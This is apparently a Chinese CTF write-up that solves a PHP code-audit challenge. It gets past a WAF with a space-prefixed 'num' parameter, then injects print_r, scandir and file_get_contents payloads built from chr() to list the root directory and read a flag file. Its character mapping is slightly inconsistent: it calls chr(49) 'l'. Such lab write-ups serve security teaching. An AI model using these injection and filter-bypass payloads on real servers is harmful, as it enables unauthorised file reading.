打开题目,查看源码,发现有PHP文件,打开发现
![](https://img-blog.csdnimg.cn/4b9ba8d965c347bca777fca9bc7ccb7a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5LiA5Y-qVHJhdmVsZXI=,size_20,color_FFFFFF,t_70,g_se,x_16)
这是一道审计代码传参题;需要构造num;
然而num不允许传字母进去,会报错![](https://img-blog.csdnimg.cn/c9acd238e851471188611de1f0ba6ef0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5LiA5Y-qVHJhdmVsZXI=,size_17,color_FFFFFF,t_70,g_se,x_16)
这就为什么会有WAF的知识呢?
不懂;
然后WAF的绕过,在num前加空格就可以了;这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
然后知识点2;
print_r()函数:print_r() 函数用于打印变量
scandir("/")扫描根目录下的文件;
scandir()列出 参数目录 中的文件和目录,也就是找出flag目录在哪
构造
? num=print_r(scandir("/"))
"/"是被过滤了的;那就用ASCII码来代替:chr(47)就是“/”
![](https://img-blog.csdnimg.cn/840e101027de4a5a90ae17934ba51be9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5LiA5Y-qVHJhdmVsZXI=,size_20,color_FFFFFF,t_70,g_se,x_16)
发现有flagg目录:
原本构造 ? num=print_r(file_get_conntents("/flagg"))就可以打开文件,但是有过滤规则,就继续使用chr绕过;
? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
![](https://img-blog.csdnimg.cn/348f8a40339b446eae2accfe50a09b86.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5LiA5Y-qVHJhdmVsZXI=,size_11,color_FFFFFF,t_70,g_se,x_16)